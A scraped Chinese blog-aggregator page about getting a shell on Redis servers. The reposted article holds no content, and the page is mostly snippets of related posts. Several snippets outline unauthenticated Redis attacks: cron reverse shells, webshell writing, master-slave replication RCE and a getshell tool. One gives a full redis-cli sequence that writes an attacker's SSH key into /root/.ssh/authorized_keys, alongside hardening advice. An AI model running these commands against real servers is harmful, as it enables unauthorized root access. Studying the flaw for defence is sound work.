redis***中的getshell问题总结

最新推荐文章于 2025-07-29 00:46:43 发布

转载最新推荐文章于 2025-07-29 00:46:43 发布 · 132 阅读

0 ·

CC 4.0 BY-SA版权

原文链接：http://blog.51cto.com/duallay/1958087

本文为一个示例转载文章，原始来源为优快云和 51CTO 博客，具体技术内容未给出，通常涉及软件开发、编程语言等信息技术领域的知识分享。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

【转】http://blog.youkuaiyun.com/lhc1105/article/details/51354561

转载于:https://blog.51cto.com/duallay/1958087

确定要放弃本次机会？

福利倒计时

: :

立减 ¥

普通VIP年卡可用

立即使用

weixin_34381687

关注关注

0
点赞
踩
0

收藏

觉得还不错? 一键收藏
0
评论
分享

复制链接

分享到 QQ

分享到新浪微博

扫一扫
举报

举报

redis 未授权/知道密码下getshell

问题很多的小明

06-20

583

常用的方法，计划任务，写webshell,主从复制，写公钥文件（会覆盖） 1 写公钥文件 ssh-keygen –t rsa (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > test.txt cat test.txt |redis-cli -h 192.168.0.109 -a 123456 -x set crackit redis-cli -h 192.168.0.109 -a 123456 config set dir /root/

redis未授权getshell整合利用

qq_40898302的博客

06-13

1807

redis未授权getshell四种方式

参与评论您还未登录，请先登录后发表或查看评论

redis渗透中的getshell问题总结

weixin_34297300的博客

11-08

152

【转】http://blog.youkuaiyun.com/lhc1105/article/details/51354561 本文转自fatshi51CTO博客，原文链接：http://blog.51cto.com/duallay/1958087，如需转载请自行联系原作者 ...

redis getshell方法

00勇士王子的博客

03-07

1980

redis getshell方法总结

redis getshell的方法

最新发布

qq_74265615的博客

07-29

818

1.下载redis2.解压并编译make3.修改配置文件允许除本机之外的主机远程连接，关闭保护模式然后启动redis服务，需要指定修改后的配置文件，路径要改为自己的路径。

第02篇：Redis主从复制getshell1

08-03

1、生成恶意.so文件，下载RedisModules-ExecuteCommand使用make编译即可生成 1、监听本地1234端口 2、将Redis服务器设置

redis 在渗透中 getshell 方法总结

chenglanqi6606的博客

05-07

2729

0x00 前言今天同学突然提到了redis，想到最近搞站确实有一段时间没有遇到redis getshell的场景了（主要是最近懒，搞得少），有些利用方式都忘的差不多，这里再对常见的redis getshell方式总结并复现一遍，避免遗忘。如果有同学恰好看到了这篇文章，并能解决自己的问题，...

ssrf结合redis未授权getshell

07-07

1589

原理即为攻击者通过SSRF访问内网或本地的redis6379端口，如果刚好存在redis未授权，即可getshell

Redis-Getshell:Redis 未授权检测,密码爆破,Webshell写入,SSH公私钥写入,定时计划反弹Shell

05-05

Redis-Getshell 其中的p参数为了区别端口P我将其改成了a Redis 未授权检测,密码爆破,Webshell写入,SSH公私钥写入,定时计划反弹Shell Usage:python3 RedisGetshell.py -H 127.0.0.1 -P 6379 还可以更完善的,后面有...

GetShell的姿势总结1

08-03

文件上传漏洞GetShell** 文件上传漏洞是最常用的GetShell方法之一。当系统存在任意文件上传漏洞时，攻击者可以通过以下策略获取WebShell： - **直接上传木马文件**：在没有防护措施的情况下，直接将含有恶意代码...

Redis_getshell简单复现

qq_52764444的博客

09-22

414

Redis_getshell复现利用Redis写webshell Redis基于主从复制的RCE Redis未授权访问漏洞

Redis四种GetShell方式完整教程

weixin_74124665的博客

07-28

624

Redis作为高性能内存数据库，若未正确配置认证和访问控制，可能被攻击者利用实现远程代码执行（GetShell）。本文详细讲解四种常见的Redis GetShell方式，涵盖原理、操作步骤及防御建议。

redis 未授权访问及getshell

Guoke324的博客

04-06

863

目录 redis未授权访问 redis getshell方法写 webshell 文件利用写SSH key进行 getshell 通过写corntab的方式进行getshell redis未授权访问 Redis在默认情况下，会绑定在0.0.0.0:6379，如果没有采用限制IP访问，就会将Redis服务暴露在公网上，并且在没有设置密码认证的情况下，会导致任意用户未授权访问Redis以及读取Redis数据并写入公钥进行远程连接等。利用python去检测，或者...

SSRF+Redis未授权getshell

yuan_boss的博客

04-14

2229

当一个网站具有ssrf漏洞，如果没有一些过滤措施，比如没过滤file协议，gophere协议，dict等协议，就会导致无法访问的内网服务器信息泄露，甚至可以让攻击者拿下内网服务器权限。

Redis未授权getshell及修复方案

打工人日记

12-31

777

应用介绍简单点说就是一个日志型数据库，并有主从同步的功能（优化性能）。漏洞介绍默认配置下redis并没有设置密码，被攻击者恶意利用可以导致未授权访问，可以有多种利用方式：服务器权限被获取和数据删除、泄露、加密勒索、植入yam2 minerd 挖矿程序、watch-smartd挖矿木马等安装redis docker run -itd --name redis-test -p 6379:6379 redis 常用命令 ping：检测是否连通且有权限执行命令 info：读取Redis敏感数据 keys:

redis未授权到getshell

weixin_68408599的博客

06-12

1588

写入webshell虽然简单便捷，但是很多网站都严格限制了写入规则，但是可以通过定时任务，写入公钥等来获取webshell并建立持久性控制。自己使用需要小心，redis未授权是比较常见的漏洞了，常常被用于执行挖矿病毒，甚至是勒索病毒。

Redis Getshell自动化实践之webshell

乐枕的家

07-21

4697

前两篇文章介绍了两种直接root权限getshell的方式,这里介绍通过写入webpage来得到shell的半自动化脚本. 脚本的意义是将误报的可能性降到最低,发现目标并简化手工操作.利用流程1 通过redis未授权访问漏洞,向redis插入一条记录,内容是一句话木马或其他webshell 2 找到web绝对路径,写入webshell 3 菜刀或其它半自动化exp逻辑半自动的原因是最后写入的w

redis未授权getshell

12-11

Redis未授权访问漏洞是指在没有设置密码或访问控制的情况下，攻击者可以直接连接到Redis服务并执行任意命令。这种漏洞的存在可能导致严重的安全问题，包括但不限于数据泄露、篡改和远程代码执行（getshell）。以下是Redis未授权访问漏洞的一些关键点： 1. **默认配置问题**：Redis默认情况下是不需要密码认证的，且监听在0.0.0.0地址上，这使得任何人都可以访问。 2. **远程代码执行**：攻击者可以通过Redis的特定命令（如`CONFIG SET`、`SAVE`等）来写入文件，从而实现远程代码执行。 3. **数据泄露**：未授权访问的Redis实例可以被攻击者用来读取和篡改数据，导致敏感信息泄露。 ### 防范措施 1. **设置密码**：在`redis.conf`文件中设置密码，并使用`requirepass`指令进行配置。 2. **绑定本地地址**：将Redis绑定到本地地址（127.0.0.1），而不是0.0.0.0。 3. **防火墙**：配置防火墙规则，只允许可信的IP地址访问Redis端口。 4. **最小权限原则**：确保运行Redis的用户具有最低权限，避免使用root用户运行Redis。 ### 攻击示例假设攻击者发现了一台未授权访问的Redis服务器，他们可以执行以下步骤： 1. **连接Redis**：使用`redis-cli`连接到目标服务器。 2. **写入SSH公钥**：将攻击者的SSH公钥写入目标服务器的`authorized_keys`文件。 3. **远程登录**：通过SSH远程登录到目标服务器，实现getshell。 ```bash redis-cli -h <目标IP> flush redis-cli -h <目标IP> config SET dir /root/.ssh/ redis-cli -h <目标IP> CONFIG SET dbfilename "authorized_keys" redis-cli -h <目标IP> set x "\n\n<攻击者公钥>\n\n" redis-cli -h <目标IP> save ``` 通过上述步骤，攻击者可以成功地将自己的SSH公钥写入目标服务器的`authorized_keys`文件，从而实现远程登录。